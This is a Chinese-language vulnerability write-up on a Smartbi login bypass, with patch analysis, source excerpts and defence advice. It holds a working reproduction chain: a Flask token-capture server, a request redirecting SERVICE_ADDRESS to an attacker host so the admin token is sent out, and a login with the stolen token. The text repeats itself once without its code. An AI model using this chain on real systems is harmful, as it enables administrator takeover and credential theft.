smartbi 登录绕过漏洞分析
字数 1300 2025-08-06 08:35:03

Smartbi 登录绕过漏洞分析与复现

漏洞概述

Smartbi 是一款商业智能分析工具,2023年7月底修复了一个严重的登录绕过漏洞。该漏洞允许攻击者通过构造特定请求获取管理员Token,进而以管理员身份登录系统。

漏洞分析

补丁分析

通过分析补丁文件(patch.patches),发现修复点集中在路由接口规则实现类RejectSmartbixSetAddress.class中,主要涉及以下危险类和方法:

smartbix.datamining.service.MonitorService::getToken()

危险函数分析

getToken()方法的关键特征:

  • 使用注解@FunctionPermission({"NOT_LOGIN_REQUIRED"}),表示该接口不需要登录权限
  • 核心代码逻辑:
    String token = this.catalogService.getToken(10800000L);
    

pushLoginTokenByEngine方法实现:

private String pushLoginTokenByEngine(Long duration) {
    IDAOModule daoModule = userManagerModule.getDaoModule();
    IStateModule stateModule = userManagerModule.getStateModule();
    if (daoModule.getFramework() != null && daoModule.getFramework().isActived()) {
        String userId = "ADMIN";
        String token = null;
        String username = null;
        User user = userManagerModule.getUserById(userId);
        if (user != null && "1".equals(user.getEnabled())) {
            username = user.getName();
            token = username + "_" + UUIDGenerator.generate();
        }
        // ... 其他逻辑
    }
}

Token生成机制:

  • 固定使用"ADMIN"用户ID
  • Token格式:username + "_" + UUIDGenerator.generate()
  • 生成的Token会被保存到数据库中

请求处理流程

  1. 获取Token后,系统会根据type参数值进入不同分支:

    if ("experiment".equals(type)) {
        EngineApi.postJsonEngine(EngineUrl.ENGINE_TOKEN.name(), result, Map.class, new Object[0]);
    } else if ("service".equals(type)) {
        EngineApi.postJsonService(ServiceUrl.SERVICE_TOKEN.name(), result, Map.class, new Object[]{EngineApi.address("service-address")});
    }
    
  2. URL构造过程:

    • EngineUrl.getUrl()会构造URL:{0}/api/v1/configs/engine/smartbitoken
    • 最终通过EngineApi.address("engine-address")获取实际地址
  3. 地址获取逻辑:

    public static String address(String type) {
        if (type.equals("engine-address")) {
            return SystemConfigService.getInstance().getValue("ENGINE_ADDRESS");
        } else if (type.equals("service-address")) {
            return SystemConfigService.getInstance().getValue("SERVICE_ADDRESS");
        }
        // ...
    }
    

修改地址接口

补丁中修复了6个设置地址的路由接口,以/setServiceAddress为例:

@PostMapping({"/setServiceAddress"})
public String setServiceAddress(@RequestBody String serviceAddress) {
    if (!StringUtil.isNullOrEmpty(serviceAddress)) {
        this.systemConfigService.updateSystemConfig("SERVICE_ADDRESS", serviceAddress);
        return "Service address updated successfully";
    } else {
        return "Service address is empty";
    }
}

注意:使用@RequestBody时,如果Content-Type为application/x-www-form-urlencoded,会导致存入的值是被URL编码后的,可能影响后续利用。

Token登录机制

登录接口位于smartbix.datamining.service.MonitorService中的loginByToken方法:

@PostMapping({"/smartbi/smartbix/api/monitor/login"})
public boolean loginByToken(@RequestParam("token") String token) {
    return this.catalogService.loginByToken(token);
}

核心验证逻辑:

public boolean loginByToken(String token) {
    // ...
    UserLoginToken loginToken = (UserLoginToken)LoginTokenDAO.getInstance().load(token);
    if (loginToken != null) {
        if (loginToken.getCreateTime() != null && 
            System.currentTimeMillis() - loginToken.getCreateTime().getTime() <= loginToken.getDuration()) {
            userName = loginToken.getUserName();
        }
    }
    // ...
    return this.switchUser(userName);
}

漏洞复现步骤

1. 搭建伪造服务器

使用Python Flask搭建一个简单的接收Token的服务器:

from flask import *

app = Flask(__name__)

@app.route('/api/v1/configs/engine/smartbitoken', methods=["POST"])
def getToken():
    print(request.data)  # 这里会打印接收到的Token
    return {}, 200, {"Content-Type": "application/json"}

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8000)

2. 修改服务地址

发送POST请求修改SERVICE_ADDRESS为攻击者控制的服务器地址:

POST /setServiceAddress
Content-Type: application/json

"http://attacker-ip:8000"

3. 获取管理员Token

请求Token生成接口:

POST /getToken
Content-Type: application/x-www-form-urlencoded

type=service

此时伪造服务器会接收到包含管理员Token的请求。

4. 使用Token登录

使用获取到的Token请求登录接口:

POST /smartbi/smartbix/api/monitor/login
Content-Type: application/x-www-form-urlencoded

token=获取到的Token值

成功后会返回管理员会话。

注意事项

  1. 如果返回false,可能是由于:

    • 使用nc监听时返回的不是JSON格式
    • Token未被正确存入变量
  2. 解决方案:

    • 确保伪造服务器返回合法的JSON响应
    • 检查地址修改是否成功
  3. 补丁修复方式:

    • 限制了地址修改接口的访问权限
    • 对Token生成和验证逻辑进行了加固

防御建议

  1. 及时升级到最新版本
  2. 限制敏感接口的访问权限
  3. 对系统配置修改操作进行严格审计
  4. 实施网络隔离,限制内部服务间的通信

通过以上分析,我们可以全面了解该漏洞的成因、利用方式及防御措施。该漏洞的危害性较高,攻击者可以借此获取系统管理员权限,应引起足够重视。

Smartbi 登录绕过漏洞分析与复现 漏洞概述 Smartbi 是一款商业智能分析工具,2023年7月底修复了一个严重的登录绕过漏洞。该漏洞允许攻击者通过构造特定请求获取管理员Token,进而以管理员身份登录系统。 漏洞分析 补丁分析 通过分析补丁文件(patch.patches),发现修复点集中在路由接口规则实现类 RejectSmartbixSetAddress.class 中,主要涉及以下危险类和方法: 危险函数分析 getToken() 方法的关键特征: 使用注解 @FunctionPermission({"NOT_LOGIN_REQUIRED"}) ,表示该接口不需要登录权限 核心代码逻辑: pushLoginTokenByEngine 方法实现: Token生成机制: 固定使用"ADMIN"用户ID Token格式: username + "_" + UUIDGenerator.generate() 生成的Token会被保存到数据库中 请求处理流程 获取Token后,系统会根据type参数值进入不同分支: URL构造过程: EngineUrl.getUrl()会构造URL: {0}/api/v1/configs/engine/smartbitoken 最终通过 EngineApi.address("engine-address") 获取实际地址 地址获取逻辑: 修改地址接口 补丁中修复了6个设置地址的路由接口,以 /setServiceAddress 为例: 注意 :使用 @RequestBody 时,如果Content-Type为 application/x-www-form-urlencoded ,会导致存入的值是被URL编码后的,可能影响后续利用。 Token登录机制 登录接口位于 smartbix.datamining.service.MonitorService 中的 loginByToken 方法: 核心验证逻辑: 漏洞复现步骤 1. 搭建伪造服务器 使用Python Flask搭建一个简单的接收Token的服务器: 2. 修改服务地址 发送POST请求修改 SERVICE_ADDRESS 为攻击者控制的服务器地址: 3. 获取管理员Token 请求Token生成接口: 此时伪造服务器会接收到包含管理员Token的请求。 4. 使用Token登录 使用获取到的Token请求登录接口: 成功后会返回管理员会话。 注意事项 如果返回 false ,可能是由于: 使用nc监听时返回的不是JSON格式 Token未被正确存入变量 解决方案: 确保伪造服务器返回合法的JSON响应 检查地址修改是否成功 补丁修复方式: 限制了地址修改接口的访问权限 对Token生成和验证逻辑进行了加固 防御建议 及时升级到最新版本 限制敏感接口的访问权限 对系统配置修改操作进行严格审计 实施网络隔离,限制内部服务间的通信 通过以上分析,我们可以全面了解该漏洞的成因、利用方式及防御措施。该漏洞的危害性较高,攻击者可以借此获取系统管理员权限,应引起足够重视。